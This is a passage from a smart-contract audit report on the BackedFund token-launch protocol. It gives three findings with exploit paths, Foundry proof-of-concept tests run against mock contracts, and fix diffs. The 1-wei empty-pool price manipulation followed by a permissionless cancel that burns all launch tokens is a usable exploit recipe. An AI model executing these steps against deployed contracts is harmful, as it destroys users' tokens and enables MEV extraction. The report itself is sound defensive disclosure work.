        uint256 hookWethAfterAfterSwap = weth.balanceOf(address(hook));

        // ── Step 3: afterSwap never reconciles/refunds the over-collected
        // specified-side fee, even though it just observed the true,
        // truncated executed delta. (afterSwap only ever acts on the
        // UNSPECIFIED currency — here that's `token`, currency0, which is
        // not cfg.feeCurrency — so it is architecturally incapable of
        // touching the WETH already taken in beforeSwap.)
        assertEq(
            hookWethAfterAfterSwap,
            hookWethBeforeAfterSwap,
            "PoC: afterSwap unexpectedly moved WETH -- reconciliation would invalidate this finding"
        );

        // ── Step 4: the overcharge, quantified ──
        // feeTaken is fixed at 1% of the 100 WETH REQUEST (1 WETH). Only 10
        // WETH of that request actually executed. Effective fee rate on what
        // the trader actually swapped:
        uint256 effectiveFeeRateBps = (feeTaken * 10_000) / executedSpecified; // bps of executedSpecified
        assertEq(feeTaken, 1 ether, "PoC: feeTaken should be exactly 1 WETH (1% of 100 WETH requested)");
        assertEq(executedSpecified, 10 ether, "PoC: executedSpecified should be exactly 10 WETH (10% fill)");
        assertEq(effectiveFeeRateBps, 1_000, "PoC: effective fee rate should be 1_000 bps == 10%, not the documented 100 bps ==
1%");

        // Sanity bound from the finding: effective rate is inflated 10x
        // above the documented 1% (100 bps) purely because of the partial
        // fill -- and this ratio grows unboundedly as fill -> 0.
        assertGt(effectiveFeeRateBps, 100, "PoC: effective fee rate must exceed the documented 1% (100 bps)");
    }

    // ═══════════════════════════════════════════════════════════════
    // helpers
    // ═══════════════════════════════════════════════════════════════

    function _packDelta(int128 amount0, int128 amount1) internal pure returns (BalanceDelta) {
        int256 packed = (int256(amount0) << 128) | int256(uint256(uint128(amount1)));
        return BalanceDelta.wrap(packed);
```

```
    }

    /// On-chain equivalent of scripts/lib/hook-miner.ts: find a CREATE2 salt
    /// whose address' low 14 bits equal the BackedFundFeeHook permission flags.
    function _deployMinedHook(HookDeployer deployer) internal returns (BackedFundFeeHook) {
        uint160 flags = HookFlags.AFTER_INITIALIZE_FLAG | HookFlags.BEFORE_SWAP_FLAG
            | HookFlags.BEFORE_SWAP_RETURNS_DELTA_FLAG | HookFlags.AFTER_SWAP_FLAG
            | HookFlags.AFTER_SWAP_RETURNS_DELTA_FLAG;
        bytes memory initCode = abi.encodePacked(
            type(BackedFundFeeHook).creationCode,
            // poolManager, poolFactory (== this test contract), backedRecipient, protocolAuthority, emergencyGuardian
            abi.encode(address(poolManager), address(this), backedRecipient, growth, growth)
        );
        bytes32 initCodeHash = keccak256(initCode);
        bytes32 salt;
        bool found;
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(uint160(uint256(keccak256(
                abi.encodePacked(bytes1(0xff), address(deployer), bytes32(i), initCodeHash)
            ))));
            if (uint160(predicted) & HookFlags.ALL_HOOK_MASK == flags) {
                salt = bytes32(i);
                found = true;
                break;
            }
        }
        require(found, "PoC a7b7e: hook salt not found");
        return BackedFundFeeHook(deployer.deploy(initCode, salt, flags));
    }
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 4: beforeSwap sizes the counter-asset fee on the requested amount, not the executed specified-side delta, overcharging trades that partial-fill against a price limit. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-02 Forcing finalizeLaunch to revert lets anyone permanently burn a launch's tokens

Source: GitHub issue #5
Severity: Medium

Description

Severity	Medium (reported: Critical)
Confidence	High
Location	`LaunchManager.sol:cancelUnfinalizedLaunch`
Sources	Ours — consequence of H-02 / H-03 (a judge may group it with the root cause)
Class	MEVEconomic (V0)
Discovered via	depth-round-2-chain
Phase 3 verdict	severity_mismatch → Medium
PoC	[POC-PASS]

Description

What's wrong

A dust-cheap trick that keeps a launch's pool from ever finalizing turns out to have a second, far worse consequence nobody had connected: the exact same mechanism that freezes finalization also lets any address force the whole launch into permanent failure, which unconditionally burns every token the launch still holds — even for a sale that fully sold out at its hard cap. No admin action, no pause, and almost no attacker capital is required.

How

`LaunchPoolFactory._seedLiquidity` (`LaunchPoolFactory.sol:565-609`) sizes the launch's real liquidity off the stale `launchPool.sqrtPriceX96` cached at creation time, then settles against PoolManager's live price; because the pool sits publicly swappable at `liquidity == 0` from `_createHookedPool` (`LaunchPoolFactory.sol:277-296`) until that seed call, a single 1-wei swap against the empty pool moves `slot0.sqrtPriceX96` far enough that the `used0/used1 >= 99%` tolerance (`LaunchPoolFactory.sol:376-379`, `:601-604`) fails on every retry — nothing arbitrages an empty pool back, so the manipulation persists for free.

`LaunchManager._settleLaunch` (`LaunchManager.sol:1152-1243`) calls `poolFactory.seedLiquidity{value: lpETH}(...)` directly inside `finalizeLaunch` (`LaunchManager.sol:1117-1126`) with no try/catch, so that failure propagates and unwinds the entire transaction, including the `launch.status = LaunchStatus.Finalized` write at `LaunchManager.sol:1202` — `launch.status` is pinned at `Active` for as long as the attacker sustains the manipulation, which costs nothing further since there is no liquidity to correct it.

`LaunchManager.cancelUnfinalizedLaunch` (`LaunchManager.sol:1300-1326`) requires only `launch.status == LaunchStatus.Active` and `block.timestamp >= launch.endTime + FINALIZATION_GRACE_PERIOD` (7 days) — it reads nothing from `_totalRaised[launchId]` and applies no soft-cap or hard-cap check — and unconditionally calls `_markFailed` (`LaunchManager.sol:1425-1430`), which sets `Failed` and executes `LaunchToken(launch.token).burn(balance)` on the contract's ENTIRE held token balance: the unsold sale supply, the LP-designated supply, and the creator's still-unvested allocation. Any address — not just the attacker — can fire `cancelUnfinalizedLaunch` once the window elapses; the sale's actual raise amount is irrelevant to whether it fires.

Impact

- **Every buyer and the creator of a fully sold-out launch** → a sale that raised 100% of `hardCap` is forced into `Failed`, and `_markFailed` (`LaunchManager.sol:1425-1430`) unconditionally burns the ENTIRE token balance `LaunchManager` still holds -- the unclaimed sale allocation, the LP-designated supply, and the creator's unvested allocation -- with no path to reverse the burn or relaunch under the same `launchId`.
- **Attacker cost** → ~1 wei plus gas for the one manipulation swap (the pool has zero liquidity, so nothing forces a repeat), plus one ordinary, permissionless `cancelUnfinalizedLaunch` call after the 7-day grace window -- no capital at risk, no admin keys, no pause required, reachable by literally any address including a pure griefer with no position in the launch.
- Scope note: contributors can still recover their contributed ETH via `claimRefund` once `status == Failed` -- the destructive, irreversible consequence is specifically the 100% token-supply burn and the permanent loss of the launch's LP position and creator allocation, not the ETH itself.

Exploit path

1. Creator calls `LaunchManager.createLaunch` / `createLaunchWithTerms`, which synchronously calls `LaunchPoolFactory._createHookedPool` — `poolManager.initialize(key, sqrtPriceX96)` runs at zero liquidity (`LaunchPoolFactory.sol:277-296`).
2. Attacker calls `poolManager.swap` with `amountSpecified = 1` (wei) and `sqrtPriceLimitX96` near `MIN_SQRT_RATIO`; at zero active liquidity the swap step requires ~0 input to reach the limit price, so `slot0.sqrtPriceX96` / `tick` jumps to the extreme for negligible cost.
3. Buyers contribute through `LaunchManager.contribute` until `raised == launch.hardCap` — a fully, unambiguously successful sale by every documented measure.
4. Nothing arbitrages the manipulated price because the pool still holds zero real liquidity, so it persists untouched through the entire sale window and the 7-day grace period that follows.
5. Anyone calls `LaunchManager.finalizeLaunch(launchId)`; `_settleLaunch` calls `LaunchPoolFactory.seedLiquidity`, which sizes the deposit off the stale creation-time price, settles against the manipulated live price, trips the `used0/used1 >= 99%` tolerance, and reverts — unwinding the whole transaction including the `Finalized` status write. Every subsequent retry reverts identically for as long as the manipulated price stands.
6. At `endTime + FINALIZATION_GRACE_PERIOD + 1`, any address — the same attacker, or an unrelated griefer — calls `LaunchManager.cancelUnfinalizedLaunch(launchId)`. The only guard is `status == Active` and the elapsed grace period; there is no check that `raised >= launch.hardCap`.
7. `_markFailed` sets `Failed` and burns the launch's ENTIRE remaining token balance in one call. Contributors can still `claimRefund` their ETH, but the launch itself, its LP position, and its full token supply are gone — permanently, with no re-attempt path.

Recommendation

Add a soft/hard-cap check to `cancelUnfinalizedLaunch` so a sale that already succeeded cannot be converted into a burn-everything failure just because finalization has been externally blocked, and pair it with the companion `_seedLiquidity` fix (revalidate the pool's live price before sizing the deposit, or make initialization and seeding atomic) so `finalizeLaunch` cannot be forced to revert forever in the first place.

```
// LaunchManager.sol
function cancelUnfinalizedLaunch(uint256 launchId) external nonReentrant {
    LaunchConfig storage launch = _launches[launchId];
    if (launch.token == address(0)) revert LaunchNotFound();
    if (launch.status != LaunchStatus.Active) revert LaunchNotActive();
+   // A sale that already met its soft cap must never be convertible into an
+   // unconditional token burn merely because finalization has been blocked.
+   if (_totalRaised[launchId] >= launch.softCap) revert SaleAlreadySucceeded();
    uint256 refundableETH = _totalRaised[launchId];
```

```
    // ... unchanged ...
}
```

Proof of concept

`forge test` passes. Foundry test `PoC_bfc1e.t.sol` (uses the repo's `MockV4PoolManager`, which is not price-forming; a Base-fork reproduction is still recommended):

PoC_bfc1e.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

/* ============================================================================
 * captain-hook Phase 4 VERIFICATION PoC — finding bfc1e47e7c4b
 * ----------------------------------------------------------------------------
 * Verdict under test: severity_mismatch -> Medium (not the finding's Critical
 * "hard cap reached" framing). Phase 3's own reasoning shows that framing is
 * unreachable: LaunchManager.contribute auto-calls _settleLaunch the instant
 * newTotal == hardCap (LaunchManager.sol:476-478), so a manipulated-price
 * revert there would unwind the SAME contribution that would have made
 * raised == hardCap -- raised can never sit AT hardCap while status stays
 * Active. This PoC reproduces the reachable chain instead: a launch that
 * raised >= softCap but < hardCap (sale ends by time, never by cap-fill),
 * where finalizeLaunch is nonetheless forced to revert forever, after which
 * ANY stranger can cancelUnfinalizedLaunch once the grace period elapses and
 * burn the launch's entire remaining token balance.
 *
 * Chain reproduced:
 *   1. Launch raises 10 ETH (softCap 5 ETH < raised < hardCap 20 ETH).
 *   2. finalizeLaunch, called after endTime, reverts every time because
 *      LaunchPoolFactory.seedLiquidity's `used0/used1 >= 99%` dust-tolerance
 *      check (LaunchPoolFactory.sol:376-379) fails against the manipulated
 *      pool state -- the revert unwinds the WHOLE finalizeLaunch tx,
 *      including the `launch.status = Finalized` write _settleLaunch would
 *      otherwise make (LaunchManager.sol:566), so status stays pinned Active.
 *   3. After endTime + FINALIZATION_GRACE_PERIOD (7 days), a totally
 *      unrelated stranger (no stake in the launch) calls
 *      cancelUnfinalizedLaunch, whose only guard is `status == Active` plus
 *      the elapsed grace window (LaunchManager.sol:664-690) -- it reads
 *      _totalRaised nowhere and applies no soft/hard-cap check.
 *   4. _markFailed (LaunchManager.sol:789-793) sets Failed and unconditionally
 *      burns LaunchManager's ENTIRE held balance of launch.token via
 *      LaunchToken.burn (ERC20Burnable, burns from msg.sender == LaunchManager).
 *   5. Buyer still recovers their full contributed ETH via claimRefund.
 *
 * Real-cause modeling note (mock substitution -- read before judging fidelity):
 *   The finding's actual mechanism is that the launch's V4 pool sits publicly
 *   swappable at liquidity == 0 from LaunchPoolFactory._createHookedPool until
 *   seedLiquidity runs; a ~1-wei swap against the empty pool moves
 *   slot0.sqrtPriceX96 far enough that LaunchPoolFactory._seedLiquidity
 *   (LaunchPoolFactory.sol:565-609), which sizes the deposit off the STALE
 *   creation-time `launchPool.sqrtPriceX96`, settles against the pool's live
 *   price for far less than 99% of the amounts seedLiquidity() priced in.
 *
 *   contracts/mocks/MockV4PoolManager.sol is an explicit non-price-forming
 *   stand-in for the real V4 PoolManager -- its own NatSpec says so ("It is
 *   not a price-forming AMM"). Its modifyLiquidity() sizes used0/used1 as a
 *   flat `liquidityUseBps` percentage of the pending deposit amounts
 *   (MockV4PoolManager.sol modifyLiquidity, `used0 = _pendingAmount0 *
 *   liquidityUseBps / 10_000`) and NEVER reads sqrtPriceX96/tick when doing
 *   so. Concretely, `swap()` on this mock pays a fixed 0.99 output/input
 *   ratio (swapOutputNumerator) and never writes slot0 at all, and
 *   `setPoolTick()` only rewrites the tick half of the packed slot0 word --
 *   neither one is wired to used0/used1. There is therefore no swap or
 *   price/tick setter call in this codebase's mock that can reproduce the
 *   real used0/used1 shortfall through an actual price move.
 *
```

```
 *   `MockV4PoolManager.setLiquidityUseBps` is the mock's own knob for
 *   exactly the quantity the real bug manipulates: how much of the priced-in
 *   deposit the pool actually accepts. Driving it below 99% -- called once,
 *   right after pool creation and before any buyer contributes, exactly
 *   mirroring the finding's "attacker moves the still-empty pool for ~1 wei,
 *   and nothing arbitrages it back for the rest of the window" timeline --
 *   is the closest available faithful reproduction of the finding's actual
 *   seed revert: LaunchPoolFactory.seedLiquidity's used0/used1 >= 99% check
 *   (LaunchPoolFactory.sol:376-379) fails with "Factory: excessive LP dust",
 *   which is exactly what LaunchManager._settleLaunch's uncaught
 *   `poolFactory.seedLiquidity{value: lpETH}(...)` call (LaunchManager.sol:
 *   603-606) propagates into an unwound finalizeLaunch transaction. Nothing
 *   about steps 3-5 (the cancelUnfinalizedLaunch / _markFailed chain under
 *   test) depends on which mechanism produced the seed revert -- only that
 *   finalizeLaunch reverts while status remains Active, which this
 *   substitution reproduces faithfully.
 *
 * via_ir pitfall: foundry.toml sets via_ir = true. Do not chain
 * `vm.warp(block.timestamp + N)` across statements -- snapshot an explicit
 * `uint256 clock` local and warp off that instead.
 * ============================================================================*/

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {
    LaunchConfig,
    LaunchMode,
    TreasuryProfile,
    YieldRoute,
    LaunchStatus
} from "../../contracts/types/LaunchTypes.sol";
import {LaunchManager} from "../../contracts/core/LaunchManager.sol";
import {LaunchRegistry} from "../../contracts/core/LaunchRegistry.sol";
import {FeeRouter} from "../../contracts/core/FeeRouter.sol";
import {TokenFactory} from "../../contracts/core/TokenFactory.sol";
import {LaunchEconomicsPolicy} from "../../contracts/core/LaunchEconomicsPolicy.sol";
import {EconomicsReceiptRecorder} from "../../contracts/core/EconomicsReceiptRecorder.sol";
import {CreatorVestingFactory} from "../../contracts/token/CreatorVestingFactory.sol";
import {TreasuryVaultFactory} from "../../contracts/treasury/TreasuryVaultFactory.sol";
import {ProjectSupportController} from "../../contracts/treasury/ProjectSupportController.sol";
import {LaunchPoolFactory} from "../../contracts/liquidity/LaunchPoolFactory.sol";
import {HookRegistry} from "../../contracts/liquidity/HookRegistry.sol";
import {HookDeployer} from "../../contracts/liquidity/HookDeployer.sol";
import {BackedFundFeeHook} from "../../contracts/liquidity/BackedFundFeeHook.sol";
import {HookFlags} from "../../contracts/interfaces/v4/V4Libraries.sol";
import {MockV4PoolManager} from "../../contracts/mocks/MockV4PoolManager.sol";
import {MockWETH} from "../../contracts/mocks/MockWETH.sol";
import {MockBondAdapter} from "../../contracts/mocks/MockBondAdapter.sol";

contract PoC_bfc1e_Test is Test {
    address internal constant WETH = 0x4200000000000000000000000000000000000006;

    LaunchManager internal lm;
    LaunchRegistry internal registry;
    FeeRouter internal feeRouter;
    LaunchPoolFactory internal poolFactory;
    MockV4PoolManager internal poolManager;
    BackedFundFeeHook internal hook;

    address internal attacker;
    address internal buyer;
    address internal creator;
    address internal growth;
    address internal stranger; // unrelated third party — no stake in the launch

    function setUp() public {
        uint256 clock = 1_700_000_000;
        vm.warp(clock);
        vm.roll(1_000);
```

```
        attacker = makeAddr("attacker");
        buyer = makeAddr("buyer");
        creator = makeAddr("creator");
        growth = makeAddr("growth");
        stranger = makeAddr("stranger");

        // 1. Base WETH predeploy (hardcoded in LaunchEconomicsPolicy.WETH).
        MockWETH wethImpl = new MockWETH();
        vm.etch(WETH, address(wethImpl).code);
        MockWETH(payable(WETH)).setWithdrawPayoutBps(10_000);
        vm.label(WETH, "WETH");

        // 2. Core deployment (mirrors test/FullLifecycle.test.ts wiring).
        TokenFactory tokenFactory = new TokenFactory();
        LaunchEconomicsPolicy policy = new LaunchEconomicsPolicy();
        CreatorVestingFactory vestingFactory = new CreatorVestingFactory();
        TreasuryVaultFactory treasuryFactory = new TreasuryVaultFactory();
        lm = new LaunchManager(
            address(tokenFactory), address(policy), address(vestingFactory), address(treasuryFactory)
        );
        registry = new LaunchRegistry(address(lm));
        feeRouter = new FeeRouter(growth, address(lm), makeAddr("affiliateBondAdapter"));
        EconomicsReceiptRecorder recorder = new EconomicsReceiptRecorder(
            address(lm), address(policy), address(registry), address(treasuryFactory)
        );
        poolManager = new MockV4PoolManager();

        // 3. V4 hook stack.
        HookDeployer hookDeployer = new HookDeployer();
        HookRegistry hookRegistry = new HookRegistry(growth, address(this));
        poolFactory = new LaunchPoolFactory(address(poolManager), WETH, address(hookRegistry), address(lm), 60);
        hook = _deployMinedHook(hookDeployer);
        for (uint8 m = 0; m < 4; m++) {
            hookRegistry.setHookAllowed(LaunchMode(m), address(hook), true, true);
            hookRegistry.setDefaultHook(LaunchMode(m), address(hook));
        }
        hookRegistry.finalizeBootstrap();

        tokenFactory.setLaunchManager(address(lm));
        vestingFactory.setLaunchManager(address(lm));
        treasuryFactory.setLaunchManager(address(lm));
        registry.setReceiptWriter(address(recorder));
        lm.setEconomicsReceiptRecorder(address(recorder));
        lm.configureProtocolAuthority(growth, growth);
        ProjectSupportController psc = new ProjectSupportController(address(lm), growth, growth);
        MockBondAdapter bondAdapter = new MockBondAdapter(77 days);
        lm.setTreasuryDependencies(address(bondAdapter), address(psc));
        // setDependencies clears LaunchManager.owner — must be last.
        lm.setDependencies(address(registry), address(feeRouter), address(poolFactory));

        vm.deal(buyer, 100 ether);
    }

    function test_exploit_6() public {
        // ── 1. Creator launches a Standard sale: softCap 5 ETH, hardCap 20 ETH.
        uint256 totalSupply_ = 1_000_000_000e18;
        uint256 saleSupply = 400_000_000e18;
        uint256 lpSupply = 500_000_000e18;
        uint256 creatorSupply = totalSupply_ - saleSupply - lpSupply;
        uint256 softCap = 5 ether;
        uint256 hardCap = 20 ether;
        uint64 startTime = uint64(block.timestamp);
        uint64 duration = 3 days;
        uint64 endTime = startTime + duration;

        LaunchConfig memory cfg = _config(
            creator, totalSupply_, saleSupply, lpSupply, creatorSupply,
            softCap, hardCap, /*minContribution*/ 1 ether, /*maxContribution*/ 20 ether,
            startTime, endTime, /*lpSplitBps*/ 6_000
        );
        vm.prank(creator);
```

```
        uint256 launchId = lm.createLaunch(cfg);

        address token = lm.getLaunch(launchId).token;
        uint256 totalSupplyBefore = IERC20(token).totalSupply();
        assertEq(totalSupplyBefore, totalSupply_, "LaunchManager should hold the full minted supply");
        assertEq(IERC20(token).balanceOf(address(lm)), totalSupply_, "LaunchManager not funded");

        // ── 2. Attacker moves the still-empty pool's effective deposit-acceptance
        //    ratio to 50% — the mock-faithful substitute for the 1-wei swap that
        //    moves slot0.sqrtPriceX96 on the real, publicly-swappable, zero-
        //    liquidity V4 pool (see the header note). This is called once, right
        //    after pool creation and before any buyer contributes, and persists
        //    untouched for the rest of the window because nothing arbitrages it
        //    back — exactly the finding's "manipulation is free and permanent"
        //    claim.
        vm.prank(attacker);
        poolManager.setLiquidityUseBps(5_000); // 50% << the 99% dust-tolerance floor

        // ── 3. Buyer contributes 10 ETH: raised (10) is >= softCap (5) and
        //    strictly < hardCap (20) — the sale ends by time, not by cap-fill,
        //    so LaunchManager.contribute's auto-settle branch (newTotal ==
        //    hardCap) never fires and status stays Active through the whole
        //    contribution.
        vm.prank(buyer);
        lm.contribute{value: 10 ether}(launchId);
        assertEq(lm.getTotalRaised(launchId), 10 ether, "raised should be 10 ETH");
        assertTrue(lm.getTotalRaised(launchId) >= softCap, "raised must clear softCap");
        assertTrue(lm.getTotalRaised(launchId) < hardCap, "raised must stay below hardCap");
        assertEq(uint8(lm.getLaunch(launchId).status), uint8(LaunchStatus.Active), "still Active post-contribute");

        // ── 4. Sale window ends; finalizeLaunch is permissionless and reverts
        //    EVERY time: LaunchPoolFactory.seedLiquidity's used0/used1 >= 99%
        //    tolerance check trips against the manipulated deposit-acceptance
        //    ratio, and LaunchManager._settleLaunch's uncaught call to
        //    poolFactory.seedLiquidity unwinds the whole finalizeLaunch tx,
        //    including the `Finalized` status write.
        uint256 clock = endTime + 1;
        vm.warp(clock);

        vm.expectRevert(bytes("Factory: excessive LP dust"));
        lm.finalizeLaunch(launchId);

        assertEq(
            uint8(lm.getLaunch(launchId).status),
            uint8(LaunchStatus.Active),
            "launch stuck Active after the manipulated finalize attempt"
        );
        assertFalse(poolFactory.getLaunchPool(launchId).seeded, "LP must not have been seeded");

        // Retrying does nothing — the manipulated ratio persists for free.
        vm.expectRevert(bytes("Factory: excessive LP dust"));
        lm.finalizeLaunch(launchId);

        // ── 5. Seven days after endTime, a totally unrelated STRANGER — no
        //    contribution, no admin role, no relationship to this launch at
        //    all — can now cancel a sale that fully cleared its soft cap.
        clock = uint256(endTime) + lm.FINALIZATION_GRACE_PERIOD() + 1;
        vm.warp(clock);

        uint256 tokenBalanceBefore = IERC20(token).balanceOf(address(lm));
        assertEq(tokenBalanceBefore, totalSupply_, "full supply still held pre-cancel");

        vm.prank(stranger);
        lm.cancelUnfinalizedLaunch(launchId);

        // ── Assertions: the soft-cap-cleared sale is now permanently Failed,
        //    its ENTIRE remaining token allocation is burned (LaunchManager's
        //    balance is 0 and totalSupply dropped by the full amount), and the
        //    buyer still recovers their full contributed ETH via claimRefund.
        assertEq(
            uint8(lm.getLaunch(launchId).status),
```

```
        uint8(LaunchStatus.Failed),
        "soft-cap-cleared launch forced to Failed by a stranger"
    );
    assertEq(IERC20(token).balanceOf(address(lm)), 0, "entire remaining token allocation burned");
    assertEq(
        IERC20(token).totalSupply(),
        totalSupplyBefore - tokenBalanceBefore,
        "token totalSupply reduced by the full burned balance"
    );
    assertEq(IERC20(token).totalSupply(), 0, "totalSupply fully burned in this scenario");

    uint256 buyerEthBefore = buyer.balance;
    vm.prank(buyer);
    lm.claimRefund(launchId);
    assertEq(buyer.balance, buyerEthBefore + 10 ether, "buyer recovers full 10 ETH contribution");
}

// ═══════════════════════════════════════════════════════════════════════
// helpers (mirrored from test/novelty/C-011_Novelty.t.sol)
// ═══════════════════════════════════════════════════════════════════════

function _config(
    address projectRecipient,
    uint256 totalSupply_,
    uint256 saleSupply,
    uint256 lpSupply,
    uint256 creatorSupply,
    uint256 softCap,
    uint256 hardCap,
    uint256 minContribution,
    uint256 maxContribution,
    uint64 startTime,
    uint64 endTime,
    uint16 lpSplitBps
) internal pure returns (LaunchConfig memory cfg) {
    cfg = LaunchConfig({
        creator: address(0),
        token: address(0),
        raiseAsset: address(0),
        lpCounterAsset: WETH,
        yieldRecipient: projectRecipient,
        name: "PoC Token",
        symbol: "POC",
        totalSupply: totalSupply_,
        saleSupply: saleSupply,
        lpSupply: lpSupply,
        creatorSupply: creatorSupply,
        softCap: softCap,
        hardCap: hardCap,
        minContribution: minContribution,
        maxContribution: maxContribution,
        startTime: startTime,
        endTime: endTime,
        lpUnlockTime: endTime + 365 days + 1,
        bondUnlockTime: 0,
        lpSplitBps: lpSplitBps,
        treasurySplitBps: 10_000 - lpSplitBps,
        mode: LaunchMode.Standard,
        treasuryProfile: TreasuryProfile.None,
        yieldRoute: YieldRoute.Balanced,
        status: LaunchStatus.Active
    });
}

/// On-chain equivalent of scripts/lib/hook-miner.ts: find a CREATE2 salt whose
/// address' low 14 bits equal the BackedFundFeeHook permission flags.
function _deployMinedHook(HookDeployer deployer) internal returns (BackedFundFeeHook) {
    uint160 flags = HookFlags.AFTER_INITIALIZE_FLAG | HookFlags.BEFORE_SWAP_FLAG
        | HookFlags.BEFORE_SWAP_RETURNS_DELTA_FLAG | HookFlags.AFTER_SWAP_FLAG
        | HookFlags.AFTER_SWAP_RETURNS_DELTA_FLAG;
    bytes memory initCode = abi.encodePacked(
```

```
            type(BackedFundFeeHook).creationCode,
            abi.encode(address(poolManager), address(poolFactory), growth, growth, growth)
        );
        bytes32 initCodeHash = keccak256(initCode);
        bytes32 salt;
        bool found;
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(uint160(uint256(keccak256(
                abi.encodePacked(bytes1(0xff), address(deployer), bytes32(i), initCodeHash)
            ))));
            if (uint160(predicted) & HookFlags.ALL_HOOK_MASK == flags) {
                salt = bytes32(i);
                found = true;
                break;
            }
        }
        require(found, "PoC: hook salt not found");
        return BackedFundFeeHook(deployer.deploy(initCode, salt, flags));
    }
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 5: Forcing finalizeLaunch to revert lets anyone permanently burn a launch's tokens. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-03 Buy-burn catch-up clock counts pre-deposit idle time, flushing entire balance in one swap

Source: GitHub issue #6
Severity: Medium

Description

Severity	Medium (reported: Medium)
Confidence	Medium
Location	`ProjectSupportController.sol:_availableBuyBurn`
Sources	Ours
Class	MEVEconomic (V0)
Discovered via	novelty-fuzz
Phase 3 verdict	true_positive
PoC	[POC-PASS]

Description

What's wrong

The buy-and-burn program is supposed to release a project's balance slowly, about 5% per day, so every purchase is small enough to avoid moving the market. Instead, the daily-pacing clock starts ticking the moment a project launches, not when the first buy-burn funds actually arrive. If more than twenty days pass between launch and that first deposit, the very first purchase spends the entire freshly-deposited balance in one swap instead of the intended 5% slice — the exact opposite of the pacing the mechanism exists to enforce.

How

`ProjectSupportController._availableBuyBurn` (`ProjectSupportController.sol:729-761`) sets `checkpoint = lastBuyBurnExecutionAt[launchId][currency]`, falling back to `buyBurnStartedAt[launchId]` when no execution has happened yet. `buyBurnStartedAt` is stamped once, in `registerProject` (`ProjectSupportController.sol:258`), at launch creation — before the sale window even opens and long before any fee can exist in `buyBurnBalance`. `intervalsElapsed = (now - checkpoint) / BUY_BURN_INTERVAL` therefore counts the entire idle pre-deposit period. Once `intervalsElapsed >= maximumIntervals` (`ceilDiv(10_000 * 144, dailyBps)` = 2,880 intervals = 20 days at the 500-bps/5%-per-day default, `ProjectSupportController.sol:748-753`), the flush branch fires: `grossAmount = balance` instead of `buyBurnAmountPerInterval * intervalsElapsed`, releasing 100% of whatever was just deposited in a single `executeBuyBurn` call. Verified with a Foundry PoC (`registerProject` → warp 20 days → `depositYieldSupport(100e18)` → warp 1 interval → `executeBuyBurn`): the call spends the full `10000000000000000000` (100e18) balance against a correctly-paced bound of `~3.47e16` (one interval's worth of the deposited balance at 5%/day), a ~2,880x overshoot of the documented per-tranche cap.

Impact

- **Project token holders:** the first post-idle-period execution spends 100% of the buy-burn balance in one swap once >=20 days have elapsed since launch creation without an execution → far fewer tokens burned per unit of price impact than the documented 5%/day design.
- **MEV searchers:** capture up to the executor's slippage bound (150 bps default) on the entire balance in a single sandwich instead of on a 5% slice — roughly a 20x larger extractable window per occurrence (~1.5% of 100% vs ~1.5% of 5%).
- **Every subsequent idle gap:** a deposit arriving after g idle days (measured from buyBurnStartedAt, not from the deposit) is released at min(100%, g x 5%) immediately, defeating the documented 1%-99%/day pacing invariant on a recurring basis, not just at launch.

- **Project token holders:** the first execution after finalization spends 100% of the buy-burn balance in one swap when ≥20 days have passed since launch creation → fewer tokens burned per WETH.
- **MEV:** a sandwicher captures up to the executor's slippage bound (150 bps default) on the full balance, e.g. ~0.15 ETH on a 10 ETH balance, instead of on a 0.5 ETH daily slice.
- **Every idle gap:** a deposit arriving after g idle days is released at min(100%, g × 5%) immediately, defeating the documented 1%–99%/day pacing.

Expected delta: up to executionSlippageBps (default 1.5%) of the FULL buy-burn balance extracted by a sandwicher in one execution, vs ~1.5% of a 5% daily slice under correct pacing (~20x amplification per triggering event)

Exploit path

1. Launch created → `registerProject` stamps `buyBurnStartedAt[launchId] = block.timestamp` (ProjectSupportController.sol:258), before any buy-burn funds exist.
2. Twenty or more days elapse with `lastBuyBurnExecutionAt[launchId][currency] == 0` — e.g. a long sale window plus a short post-finalization gap, or simply a quiet project with no trading-fee/yield deposits for 20+ days.
3. A fee/yield deposit finally lands in `buyBurnBalance` via `depositYieldSupport` or `collectTradingFees` (no attacker action required — this is ordinary protocol operation).
4. Any permissionless caller invokes `executeBuyBurn(launchId, currency, 0, deadline)`. `_availableBuyBurn` computes `intervalsElapsed >= maximumIntervals` (2,880 at default 5%/day) measured from `buyBurnStartedAt`, not from the deposit, so `grossAmount = balance` (100%) instead of a ~5% slice.
5. The caller collects the 1% incentive on the full (enlarged) tranche and can sandwich the resulting swap within the executor's slippage tolerance (`executionSlippageBps`, default 150 bps) on the entire balance rather than on a 5% slice.

Recommendation

Seed `lastBuyBurnExecutionAt[launchId][currency]` on the first deposit into an empty balance (instead of leaving it at 0 so `_availableBuyBurn` falls back to the launch-time `buyBurnStartedAt`), so the catch-up clock starts when funds actually exist, not when the project was created.

```
// in collectTradingFees / depositYieldSupport, on the currency's buy-burn leg:
if (buyBurnBalance[launchId][currency] == 0 && amount > 0) {
    lastBuyBurnExecutionAt[launchId][currency] = uint64(block.timestamp);
}
buyBurnBalance[launchId][currency] += amount;
```

Proof of concept

`forge test` passes. Foundry test `PoC_028a7.t.sol` (uses the repo's `MockV4PoolManager`, which is not price-forming; a Base-fork reproduction is still recommended):

PoC_028a7.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

import "forge-std/Test.sol";
